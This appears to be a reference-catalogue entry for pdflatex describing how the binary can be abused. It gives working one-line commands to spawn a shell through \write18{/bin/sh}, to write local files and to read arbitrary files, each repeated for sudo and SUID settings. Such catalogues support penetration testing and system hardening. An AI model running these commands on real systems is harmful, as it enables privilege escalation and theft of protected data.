pdflatex
Shell
This executable can spawn an interactive system shell.
- This function can be performed by any unprivileged user.
pdflatex --shell-escape '\documentclass{article}\begin{document}\immediate\write18{/bin/sh}\end{document}'This function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.pdflatex --shell-escape '\documentclass{article}\begin{document}\immediate\write18{/bin/sh}\end{document}'This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.pdflatex --shell-escape '\documentclass{article}\begin{document}\immediate\write18{/bin/sh}\end{document}'
File write
This executable can write data to local files.
- This function can be performed by any unprivileged user.
pdflatex '\documentclass{article}\newwrite\tempfile\begin{document}\immediate\openout\tempfile=output-file.tex\immediate\write\tempfile{DATA}\immediate\closeout\tempfile\end{document}'This function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.pdflatex '\documentclass{article}\newwrite\tempfile\begin{document}\immediate\openout\tempfile=output-file.tex\immediate\write\tempfile{DATA}\immediate\closeout\tempfile\end{document}'This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.pdflatex '\documentclass{article}\newwrite\tempfile\begin{document}\immediate\openout\tempfile=output-file.tex\immediate\write\tempfile{DATA}\immediate\closeout\tempfile\end{document}'
File read
This executable can read data from local files.
- This function can be performed by any unprivileged user.
pdflatex '\documentclass{article}\usepackage{verbatim}\begin{document}\verbatiminput{/path/to/input-file}\end{document}' pdftotext texput.pdf -This function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.pdflatex '\documentclass{article}\usepackage{verbatim}\begin{document}\verbatiminput{/path/to/input-file}\end{document}' pdftotext texput.pdf -This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.pdflatex '\documentclass{article}\usepackage{verbatim}\begin{document}\verbatiminput{/path/to/input-file}\end{document}' pdftotext texput.pdf -